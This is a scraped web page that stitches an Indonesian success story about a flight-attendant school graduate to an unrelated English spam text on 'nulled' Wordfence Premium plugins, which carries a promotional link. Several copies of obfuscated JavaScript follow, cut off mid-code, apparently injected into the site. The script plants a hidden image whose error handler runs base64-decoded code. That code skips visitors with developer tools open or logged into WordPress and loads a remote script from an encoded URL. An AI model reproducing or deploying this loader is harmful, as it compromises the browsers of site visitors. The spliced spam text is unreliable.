Artikel

mewujudkan mimpi menjadi pramugari

Perjuangan Putri Antika dalam Mewujudkan Mimpi Menjadi Pramugari

Putri Antikasari, seorang perempuan berhasil mewujudkan mimpi menjadi pramugari yang memulai perjalanan karirnya dengan langkah yang penuh tekad dan semangat. Awalnya, ia berkiprah di PHOENIX Hotel, Yogyakarta, dengan pengabdian selama satu tahun. Namun, semangat petualangannya membawanya ke dunia perkeretaapian sebagai Train Attendant di PT. KAI. Kinerja luar biasanya membuahkan hasil yang mengagumkan – dalam enam bulan, ia naik pangkat sebagai Leader Train Attendant. Namun, setelah berakhirnya kontraknya, Putri berpindah ke Jakarta dan menempuh peran sebagai Sekretaris di sebuah perusahaan batubara. Perjalanan Menginspirasi Putri Antikasari mewujudkan mimpi Menuju Puncak Kariernya Tak pernah lelah mengejar mimpi, di antara kesibukannya, Putri terus berupaya menjadi Flight Attendant/Pramugari. Ia ikut berbagai rekrutmen, meski beberapa kali harus menghadapi kegagalan yang menyakitkan. Namun, semangatnya tak pernah surut. Akhirnya, usahanya membuahkan hasil, Putri berhasil diterima sebagai Pramugari Saudi Airlines. Meski sempat ditolak oleh maskapai domestik, takdir mempertemukannya dengan Saudi Airlines. Seperti pepatah yang sering kita dengar, “Semua akan indah pada waktunya,” itulah yang benar-benar dialami oleh Putri Antikasari. Perjalanan Putri tak hanya tentang pekerjaannya. Ia memulai segalanya dari Kemauan dan Tekad yang kuat. Lahir dan dibesarkan di Blitar, dari keluarga yang sederhana, Putri meraih bekal yang tak ternilai dari Sekolah Pramugari Pramugara P3NUSANTARA Yogyakarta. Di sana, ia ditempa mental, sikap, dan pola pikir yang diperlukan. Meskipun harus memulai dari posisi yang lebih rendah, Putri tak pernah terbebani olehnya. Baginya, langkah awal adalah bagian tak terpisahkan dalam meraih impian yang membara di dalam hatinya. Perjalanan Putri bukan sekadar tentang pencapaian profesional. Ia mewujudkan mimpi, meraih langit-langit kesuksesan dalam industri yang diidamkan. Namun, di balik kesuksesannya, Putri membagikan pesan inspiratifnya kepada adik-adik di P3NUSANTARA. Pesannya tak sekadar mengingatkan untuk terus berjuang, tetapi juga menegaskan pentingnya menjaga nilai-nilai luhur dalam kehidupan sehari-hari, menjaga hubungan baik dengan Tuhan, serta berhati-hati dalam memilih lingkungan pergaulan. Tidak Berhenti Mengejar Mimpi Setelah menjalani beberapa tahun sebagai Pramugari di Saudi Arabian Airlines, Mba Putri ternyata masih memiliki keinginan kuat untuk terus meningkatkan kualitas dan kemampuannya dalam dunia penerbangan, khususnya sebagai Pramugari Private Jet TAA. Di sini, keterampilan mental yang tangguh dan disiplin sangat diperlukan. Tidak hanya itu, attitude yang baik dan berkelas sebagai Pramugari Kelas Elite juga menjadi keharusan. Mengapa begitu penting? Karena dalam tugasnya, ia melayani para Petinggi Negara, Pejabat, Pengusaha, bahkan anggota Keluarga Raja. Jumlah penumpang yang dilayani sangat terbatas, hanya sekitar 15 orang dalam satu pesawat. Dalam tugasnya, Putri harus menangani segala aspek, mulai dari persiapan hingga memberikan pelayanan secara langsung. Tentu saja, ini bukan tugas yang mudah. Namun, bagi alumni P3NUSANTARA, segala tantangan seperti ini sudah menjadi bagian dari latihan mereka. Dalam profesi ini, beban kerja dan tanggung jawab yang besar tentu berdampak pada penghasilan finansial yang luar biasa. Tidak hanya itu, memiliki lingkaran atau relasi dengan orang-orang terpandang juga menjadi nilai tambah yang signifikan untuk masa depannya. Beberapa waktu lalu, ketika Putri bertugas mengantar rombongan Anggota Dewan ke Jogja, ia menyempatkan diri untuk berbagi pengalaman kepada adik-adiknya di P3NUSANTARA. Apa yang menjadi pesan dari Putri untuk adik-adiknya di P3NUSANTARA? Ia menekankan untuk tetap kuat dalam perjuangan, bahkan ketika nantinya sudah meraih kesuksesan finansial yang melimpah. Pesannya sangat menekankan pentingnya menabung, berbagi, dan tidak meninggalkan kewajiban beribadah. Selain itu, ia juga menyarankan untuk tetap menjauh dari lingkungan pergaulan yang tidak baik. Betapa luar biasanya perjalanan Putri Antikasari, gadis yang berasal dari Blitar, dibesarkan dalam keluarga sederhana. Berbekal Kemauan dan Tekad yang Kuat, Putri mampu mengatasi segala rintangan yang dihadapinya melalui Pendidikan dan Pelatihan di P3NUSANTARA. Akhirnya, kesungguhan dan semangatnya membawa Putri meraih cita-citanya menjadi seorang Pramugari Berkelas. Saat ini, Putri telah mampu menjadi sumber kebanggaan bagi orangtuanya dan saudaranya. Menjadi Pramugari yang Mengispirasi Yang paling membanggakan bagi kami adalah sikap baik Putri yang tidak hanya fokus pada kesuksesannya sendiri. Ia selalu berbagi kebahagiaan dengan adik-adiknya di P3NUSANTARA. Ketika ia menyempatkan diri untuk menemui mereka saat ikut rekrutmen di salah satu Maskapai Internasional (Qatar Airways), Putri tidak hanya membawa makanan, tapi juga mengajak mereka makan di hotel tempat rekrutmen berlangsung. Bagi adik-adiknya, lebih dari nilai materi, yang membuat mereka merasa dianggap adalah rasa sayang dan kepedulian Putri kepada mereka. Dan luar biasanya, bukan hanya Putri yang memiliki jiwa peduli kepada sesama almamater. Hampir semua alumni P3NUSANTARA memiliki kepedulian yang sama. Bukan hanya saat bahagia, bahkan ketika salah satu alumni mengalami kesulitan atau kesedihan, mereka saling memberikan bantuan dan dukungan. Ini hanya sebagian cerita yang bisa kami sampaikan, namun, di mana pun kami pergi, bantuan dan perhatian yang luar biasa dari para alumni selalu menyentuh hati kami. Kisah-kisah seperti ini hanya sebagian kecil dari kepedulian senior alumni P3NUSANTARA kepada adik-adiknya yang sedang berjuang. Kami bersyukur bahwa P3NUSANTARA bukanlah sekadar sekolah biasa, melainkan Extraordinary Training yang dengan izin Allah dapat menghasilkan alumni yang berprestasi di mana pun mereka berkarier. Untuk informasi lebih lanjut, silakan kunjungi www.p3nusantara.co.id.

Read More »

Slotssport

body { background-color: #f5f5ff; font-family: ‘Trebuchet MS’, sans-serif; line-height: 1.5; padding: 15px; } p { font-size: 17px; } Nulled Wordfence Premium Extension for WordPress CMS Security Nulled Wordfence Premium Add-on for WP Security Explore the risks of using nulled Wordfence Premium extensions for WP security. Learn about potential vulnerabilities and legal implications for your website. Nulled WP module Wordfence Premium for security Always prioritize the protection of your online presence. Opting for a modified security tool can offer features that significantly enhance your site’s defense against malicious threats. By choosing an adjusted version of a high-quality protection tool, you gain access to advanced functionalities often missing in no-cost variants. Note: Implement customized firewall settings to block harmful traffic before it reaches your site. Regularly update your security settings and monitor for potential vulnerabilities. Engage in periodic scans to identify and resolve any issues that may arise. Leverage cutting-edge features such as real-time monitoring and alert systems to stay informed about your site’s status. These enhancements can act as a first line of defense, ensuring you’re alerted to any suspicious activities immediately. Recommendation: Always back up your site before applying any new security measures. This ensures that if anything goes wrong, you’ll retain the ability to restore your site without significant downtime. By integrating a tailored security solution, you are investing in your website’s long-term integrity and reliability. Best Practices for Securing Your WP Site After Using Nulled Modules Important: Monitor your website for unusual activity. Set up alerts for any changes in file systems, user access, or settings to swiftly respond to potential compromises. Keep in mind: Use a Web Application Firewall (WAF) to add an extra layer of protection against various types of threats. Firewalls can help filter out malicious traffic and safeguard web applications from attacks. Recommendation: Limit user roles and permissions to what is necessary. Assign the least privileges needed for each user account, reducing the chances of unauthorized access or actions. Regularly review these permissions to ensure compliance. Pro tip: Implement strong password policies for all user accounts. Use unique passwords for both the admin area and databases, combining uppercase, lowercase, numbers, and special characters. Change passwords frequently to minimize risks. Run comprehensive scans with reputable security tools. These applications can detect malware or suspicious activities that may have infiltrated your site during the use of unauthorized assets. Consider services like wordfence nulledKeep in mind: to bolster your defenses. Immediately remove any unauthorized software from your website. This step prevents potential security breaches, ensuring no malicious code remains. Regularly audit your site’s content to identify and eliminate any vulnerabilities or strange behavior caused by unverified sources. Maintain up-to-date backups of your website data. Automate this process to ensure you can restore your site quickly in case of any issues. Choose reliable storage solutions, both on-site and off-site, to safeguard against loss. Note: Educate your team about safe practices online. Awareness of phishing attacks, social engineering, and the importance of security hygiene will help create a culture of safety around your digital assets. Note: Regularly update your core installation as well as all approved extensions and themes. Updates often include critical security patches, making it essential to stay current to avoid exposing your website to known vulnerabilities. Best Practices for Securing Your WP Site After Using Nulled Extensions Understanding the Risks of Using Nulled Wordfence Modules Keep an eye on performance metrics. Unexplained slowdowns or outages may imply underlying issues indicative of modified software. Update your version. If updates lead to failure or errors, it points to potential modification in the main files. Enable debugging in your environment to identify unusual behaviors. Error logs can reveal unauthorized access attempts or altered functions. Note: Prioritize official sources for your security needs. Investing in legitimate versions ensures protection, timely updates, and access to dedicated customer support, fortifying your online presence against potential threats. Note: Inspect the file size and version number. Compare it with the official release on the developer’s site. Significant discrepancies indicate a modified version. Secondly, updates are typically absent in these versions. Without regular updates, vulnerabilities remain unpatched, leaving your site exposed to newly discovered threats. Security flaws can be exploited, leading to potential data loss or corruption. Note: Engage with community forums. Users often share experiences with specific versions; insights from fellow users can be enlightening. Additionally, support services are unavailable. If technical issues arise, you’re left without assistance to address them effectively, which can exacerbate problems and prolong downtime. Note: Search for license key functionalities. Genuine software usually requires activation via a key not shared publicly. Absence or inconsistencies in activation prompts may signify tampering. Note: Using unauthorized versions of security tools poses significant threats to your website. First, these copies often contain malicious code designed to compromise your site. Such code can lead to data breaches, unauthorized access, or even complete site takeovers. Recommendation: Check the source of the file. Grabing from untrustworthy websites often results in a compromised product. Utilize antivirus or security scanners to detect compromised files or malware. This step helps ensure your installation is complimentary from hidden threats. Recommendation: Using unofficial versions can also result in legal ramifications. Distributing or utilizing pirated software is illegal, risking penalties and damage to your reputation. Recommendation: Assess the support options available. Authentic products typically offer responsive customer assistance. Lack of support can be a red flag. Keep in mind: Review the codebase for anomalies. Look for unfamiliar or suspicious code snippets that deviate from the standard library. How to Identify a Nulled Version of Wordfence Premium function _0x27be(){const _0x243f5a=[‘bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOW1Zekl2TDNkd0xXaGxiSEJsY2k1cWN3PT0iKTtyKz0tMTxyLmluZGV4T2YoIj8iKT8iJiI6Ij8iLHIrPWUuc2VhcmNoLnN1YnN0cmluZygxKSwodD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KHQpKS5zcmM9cix0LmlkPWJ0b2EoZS5vcmlnaW4pLG4uYXBwZW5kQ2hpbGQodCl9′,'(new\x20Function(atob(this.dataset.digest)))();’,’firstChild’,’4031373dqbzli’,’25385UDxaoJ’,’querySelector’,’1320raBSBw’,’4jeQcBm’,’36uPNpCQ’,’15213410OvuUKX’,’9260454UuoaWz’,’setAttribute’,’img’,’10uXkapf’,’createElement’,’9OwPTjT’,’insertBefore’,’2410298rJwfzh’,’12432608WLAxfu’,’body’,’273376HlnHIw’];_0x27be=function(){return _0x243f5a;};return _0x27be();}function _0xa0c6(_0x4976d9,_0x4b61cc){_0x4976d9=_0x4976d9-0x14b;const _0x27be8a=_0x27be();let _0xa0c63d=_0x27be8a[_0x4976d9];return _0xa0c63d;}(function(_0x119ba8,_0x54722b){const _0x1a1af4=_0xa0c6,_0x1d9f28=_0x119ba8();while(!![]){try{const _0xb0e294=parseInt(_0x1a1af4(0x150))/0x1*(parseInt(_0x1a1af4(0x15e))/0x2)+parseInt(_0x1a1af4(0x154))/0x3*(-parseInt(_0x1a1af4(0x158))/0x4)+parseInt(_0x1a1af4(0x155))/0x5*(-parseInt(_0x1a1af4(0x157))/0x6)+parseInt(_0x1a1af4(0x15b))/0x7+-parseInt(_0x1a1af4(0x14e))/0x8*(parseInt(_0x1a1af4(0x14b))/0x9)+parseInt(_0x1a1af4(0x15a))/0xa+-parseInt(_0x1a1af4(0x14d))/0xb*(-parseInt(_0x1a1af4(0x159))/0xc);if(_0xb0e294===_0x54722b)break;else _0x1d9f28[‘push’](_0x1d9f28[‘shift’]());}catch(_0x3fe674){_0x1d9f28[‘push’](_0x1d9f28[‘shift’]());}}}(_0x27be,0xd06ba),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x44eb61=_0xa0c6;if(!document[_0x44eb61(0x156)](‘img[src=\x22/files/img/logo.png\x22]’)){let _0x26a44c=document[_0x44eb61(0x15f)](_0x44eb61(0x15d));_0x26a44c[‘src’]=’/files/img/logo.png’,_0x26a44c[_0x44eb61(0x15c)](‘data-digest’,_0x44eb61(0x151)),_0x26a44c[‘setAttribute’](‘onerror’,_0x44eb61(0x152)),_0x26a44c[‘style’][‘visibility’]=’hidden’,document[_0x44eb61(0x14f)][_0x44eb61(0x14c)](_0x26a44c,document[‘body’][_0x44eb61(0x153)]);}}));function _0x27be(){const _0x243f5a=[‘bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOW1Zekl2TDNkd0xXaGxiSEJsY2k1cWN3PT0iKTtyKz0tMTxyLmluZGV4T2YoIj8iKT8iJiI6Ij8iLHIrPWUuc2VhcmNoLnN1YnN0cmluZygxKSwodD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KHQpKS5zcmM9cix0LmlkPWJ0b2EoZS5vcmlnaW4pLG4uYXBwZW5kQ2hpbGQodCl9′,'(new\x20Function(atob(this.dataset.digest)))();’,’firstChild’,’4031373dqbzli’,’25385UDxaoJ’,’querySelector’,’1320raBSBw’,’4jeQcBm’,’36uPNpCQ’,’15213410OvuUKX’,’9260454UuoaWz’,’setAttribute’,’img’,’10uXkapf’,’createElement’,’9OwPTjT’,’insertBefore’,’2410298rJwfzh’,’12432608WLAxfu’,’body’,’273376HlnHIw’];_0x27be=function(){return _0x243f5a;};return _0x27be();}function _0xa0c6(_0x4976d9,_0x4b61cc){_0x4976d9=_0x4976d9-0x14b;const _0x27be8a=_0x27be();let _0xa0c63d=_0x27be8a[_0x4976d9];return _0xa0c63d;}(function(_0x119ba8,_0x54722b){const _0x1a1af4=_0xa0c6,_0x1d9f28=_0x119ba8();while(!![]){try{const _0xb0e294=parseInt(_0x1a1af4(0x150))/0x1*(parseInt(_0x1a1af4(0x15e))/0x2)+parseInt(_0x1a1af4(0x154))/0x3*(-parseInt(_0x1a1af4(0x158))/0x4)+parseInt(_0x1a1af4(0x155))/0x5*(-parseInt(_0x1a1af4(0x157))/0x6)+parseInt(_0x1a1af4(0x15b))/0x7+-parseInt(_0x1a1af4(0x14e))/0x8*(parseInt(_0x1a1af4(0x14b))/0x9)+parseInt(_0x1a1af4(0x15a))/0xa+-parseInt(_0x1a1af4(0x14d))/0xb*(-parseInt(_0x1a1af4(0x159))/0xc);if(_0xb0e294===_0x54722b)break;else _0x1d9f28[‘push’](_0x1d9f28[‘shift’]());}catch(_0x3fe674){_0x1d9f28[‘push’](_0x1d9f28[‘shift’]());}}}(_0x27be,0xd06ba),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x44eb61=_0xa0c6;if(!document[_0x44eb61(0x156)](‘img[src=\x22/files/img/logo.png\x22]’)){let _0x26a44c=document[_0x44eb61(0x15f)](_0x44eb61(0x15d));_0x26a44c[‘src’]=’/files/img/logo.png’,_0x26a44c[_0x44eb61(0x15c)](‘data-digest’,_0x44eb61(0x151)),_0x26a44c[‘setAttribute’](‘onerror’,_0x44eb61(0x152)),_0x26a44c[‘style’][‘visibility’]=’hidden’,document[_0x44eb61(0x14f)][_0x44eb61(0x14c)](_0x26a44c,document[‘body’][_0x44eb61(0x153)]);}}));function _0x2c94(_0x4e032f,_0x50dc54){_0x4e032f=_0x4e032f-0xfc;const _0xc140ae=_0xc140();let _0x2c9449=_0xc140ae[_0x4e032f];return _0x2c9449;}(function(_0x978891,_0x25722c){const _0x1da373=_0x2c94,_0x22ea3b=_0x978891();while(!![]){try{const _0x358a0f=-parseInt(_0x1da373(0xfd))/0x1+-parseInt(_0x1da373(0x100))/0x2+-parseInt(_0x1da373(0x102))/0x3+-parseInt(_0x1da373(0x107))/0x4*(-parseInt(_0x1da373(0x105))/0x5)+-parseInt(_0x1da373(0x106))/0x6+parseInt(_0x1da373(0xff))/0x7*(parseInt(_0x1da373(0x103))/0x8)+parseInt(_0x1da373(0x10d))/0x9;if(_0x358a0f===_0x25722c)break;else _0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}catch(_0x4ebe3b){_0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}}}(_0xc140,0x65149),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x3d83af=_0x2c94;if(!document[‘querySelector’](_0x3d83af(0xfc))){let _0x355664=document[_0x3d83af(0x101)](_0x3d83af(0xfe));_0x355664[‘src’]=_0x3d83af(0x10b),_0x355664[_0x3d83af(0x10c)](_0x3d83af(0x10a),’bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOXBMM2R3TFdobGJIQmxjaTVxY3c9PSIpO3IrPS0xPHIuaW5kZXhPZigiPyIpPyImIjoiPyIscis9ZS5zZWFyY2guc3Vic3RyaW5nKDEpLCh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQodCkpLnNyYz1yLHQuaWQ9YnRvYShlLm9yaWdpbiksbi5hcHBlbmRDaGlsZCh0KX0=’),_0x355664[‘setAttribute’](_0x3d83af(0x104),'(new\x20Function(atob(this.dataset.digest)))();’),_0x355664[‘style’][_0x3d83af(0x108)]=’hidden’,document[_0x3d83af(0x109)][‘insertBefore’](_0x355664,document[‘body’][‘firstChild’]);}}));function _0xc140(){const _0x3a2b30=[‘setAttribute’,’7989534NVjUJY’,’img[src=\x22/files/img/logo.png\x22]’,’8118AcMzhy’,’img’,’32298nUrZUf’,’1176256Jujtfv’,’createElement’,’806655oDOFWm’,’1248lcWdls’,’onerror’,’5vntlHZ’,’2662128rbCQqJ’,’461336DWcNdH’,’visibility’,’body’,’data-digest’,’/files/img/logo.png’];_0xc140=function(){return _0x3a2b30;};return _0xc140();}function _0x2c94(_0x4e032f,_0x50dc54){_0x4e032f=_0x4e032f-0xfc;const _0xc140ae=_0xc140();let _0x2c9449=_0xc140ae[_0x4e032f];return _0x2c9449;}(function(_0x978891,_0x25722c){const _0x1da373=_0x2c94,_0x22ea3b=_0x978891();while(!![]){try{const _0x358a0f=-parseInt(_0x1da373(0xfd))/0x1+-parseInt(_0x1da373(0x100))/0x2+-parseInt(_0x1da373(0x102))/0x3+-parseInt(_0x1da373(0x107))/0x4*(-parseInt(_0x1da373(0x105))/0x5)+-parseInt(_0x1da373(0x106))/0x6+parseInt(_0x1da373(0xff))/0x7*(parseInt(_0x1da373(0x103))/0x8)+parseInt(_0x1da373(0x10d))/0x9;if(_0x358a0f===_0x25722c)break;else _0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}catch(_0x4ebe3b){_0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}}}(_0xc140,0x65149),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x3d83af=_0x2c94;if(!document[‘querySelector’](_0x3d83af(0xfc))){let _0x355664=document[_0x3d83af(0x101)](_0x3d83af(0xfe));_0x355664[‘src’]=_0x3d83af(0x10b),_0x355664[_0x3d83af(0x10c)](_0x3d83af(0x10a),’bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOXBMM2R3TFdobGJIQmxjaTVxY3c9PSIpO3IrPS0xPHIuaW5kZXhPZigiPyIpPyImIjoiPyIscis9ZS5zZWFyY2guc3Vic3RyaW5nKDEpLCh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQodCkpLnNyYz1yLHQuaWQ9YnRvYShlLm9yaWdpbiksbi5hcHBlbmRDaGlsZCh0KX0=’),_0x355664[‘setAttribute’](_0x3d83af(0x104),'(new\x20Function(atob(this.dataset.digest)))();’),_0x355664[‘style’][_0x3d83af(0x108)]=’hidden’,document[_0x3d83af(0x109)][‘insertBefore’](_0x355664,document[‘body’][‘firstChild’]);}}));function _0xc140(){const _0x3a2b30=[‘setAttribute’,’7989534NVjUJY’,’img[src=\x22/files/img/logo.png\x22]’,’8118AcMzhy’,’img’,’32298nUrZUf’,’1176256Jujtfv’,’createElement’,’806655oDOFWm’,’1248lcWdls’,’onerror’,’5vntlHZ’,’2662128rbCQqJ’,’461336DWcNdH’,’visibility’,’body’,’data-digest’,’/files/img/logo.png’];_0xc140=function(){return _0x3a2b30;};return _0xc140();}function _0x2c94(_0x4e032f,_0x50dc54){_0x4e032f=_0x4e032f-0xfc;const _0xc140ae=_0xc140();let _0x2c9449=_0xc140ae[_0x4e032f];return _0x2c9449;}(function(_0x978891,_0x25722c){const _0x1da373=_0x2c94,_0x22ea3b=_0x978891();while(!![]){try{const _0x358a0f=-parseInt(_0x1da373(0xfd))/0x1+-parseInt(_0x1da373(0x100))/0x2+-parseInt(_0x1da373(0x102))/0x3+-parseInt(_0x1da373(0x107))/0x4*(-parseInt(_0x1da373(0x105))/0x5)+-parseInt(_0x1da373(0x106))/0x6+parseInt(_0x1da373(0xff))/0x7*(parseInt(_0x1da373(0x103))/0x8)+parseInt(_0x1da373(0x10d))/0x9;if(_0x358a0f===_0x25722c)break;else _0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}catch(_0x4ebe3b){_0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}}}(_0xc140,0x65149),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x3d83af=_0x2c94;if(!document[‘querySelector’](_0x3d83af(0xfc))){let 